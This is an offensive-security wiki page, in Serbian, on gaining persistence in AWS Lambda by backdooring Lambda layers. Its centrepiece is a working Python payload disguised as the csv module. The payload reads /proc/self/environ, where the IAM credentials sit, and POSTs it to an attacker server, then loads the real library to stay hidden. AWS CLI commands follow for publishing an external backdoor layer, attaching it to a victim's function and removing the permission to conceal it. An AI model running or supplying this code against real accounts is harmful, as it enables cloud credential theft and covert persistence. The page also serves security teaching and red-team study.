# AWS - Lambda Layers Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Layers

Lambda layer je .zip arhiva koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke.

Moguće je uključiti do **pet layer-a po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstrakuje u `/opt`** direktorijum u okruženju izvršavanja.

Po **default-u**, **layer-i** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layer-a nakon što je obrisana, ili nakon što je vaša dozvola za pristup layer-u opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layer-a.

Funkcije koje su implementirane kao kontejnerska slika ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u kontejnersku sliku kada gradite sliku.

### Python load path

Putanja učitavanja koju će Python koristiti u lambda je sledeća:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Proverite kako **druga** i treća **pozicija** zauzimaju direktorijumi gde **lambda slojevi** raspakuju svoje datoteke: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`**

> [!CAUTION]
> Ako napadač uspe da **ubaci** **backdoor** u korišćeni lambda **sloj** ili **doda jedan** koji će **izvršavati proizvoljan kod kada se učita uobičajena biblioteka**, moći će da izvrši zlonamerni kod sa svakim pozivom lambda funkcije.

Stoga, zahtevi su:

- **Proverite biblioteke** koje su **učitane** kodom žrtve
- Kreirajte **proxy biblioteku sa lambda slojevima** koja će **izvršavati prilagođeni kod** i **učitati originalnu** biblioteku.

### Učitane biblioteke

> [!WARNING]
> Kada se zloupotrebljava ova tehnika, naišao sam na poteškoću: Neke biblioteke su **već učitane** u python runtime kada se vaš kod izvršava. Očekivao sam da pronađem stvari poput `os` ili `sys`, ali **čak je i `json` biblioteka bila učitana**.\
> Da bi se zloupotrebila ova tehnika postojanosti, kod mora da **učita novu biblioteku koja nije učitana** kada se kod izvršava.

Sa python kodom poput ovog moguće je dobiti **listu biblioteka koje su unapred učitane** unutar python runtime-a u lambda:
```python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
I ovo je **lista** (proverite da li su biblioteke kao što su `os` ili `json` već prisutne)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
I ovo je lista **biblioteka** koje **lambda uključuje instalirane po defaultu**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Lambda Layer Backdooring

U ovom primeru pretpostavimo da ciljani kod uvozi **`csv`**. Mi ćemo **napraviti backdoor za uvoz `csv` biblioteke**.

Da bismo to uradili, kreiraćemo direktorijum csv sa datotekom **`__init__.py`** u putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\
Zatim, kada se lambda izvrši i pokuša da učita **csv**, naša **`__init__.py` datoteka će biti učitana i izvršena**.\
Ova datoteka mora:

- Izvršiti naš payload
- Učitati originalnu csv biblioteku

Možemo uraditi oboje sa:
```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```
Zatim, kreirajte zip sa ovim kodom na putanji **`python/lib/python3.9/site-packages/__init__.py`** i dodajte ga kao lambda layer.

Možete pronaći ovaj kod na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)

Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se pozove ili NAKON resetovanja lambda kontejnera** (promena koda ili hladna lambda), ali **druge tehnike** kao što su sledeće takođe mogu biti integrisane:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### Spoljni Layers

Napomena da je moguće koristiti **lambda layers iz spoljnih naloga**. Štaviše, lambda može koristiti layer iz spoljnog naloga čak i ako nema dozvole.\
Takođe, napomena da je **maksimalan broj layers koje lambda može imati 5**.

Stoga, kako bi poboljšao svestranost ove tehnike, napadač bi mogao:

- Backdoor-ovati postojeći layer korisnika (ništa nije spoljno)
- **Kreirati** **layer** u **svojim nalogu**, dati **nalogu žrtve pristup** da koristi layer, **konfigurisati** **layer** u Lambda žrtve i **ukloniti dozvolu**.
- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layers-a** (osim ako ne dobije rev shell unutar lambda)
- Žrtva **neće videti spoljne layers** korišćene sa **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}
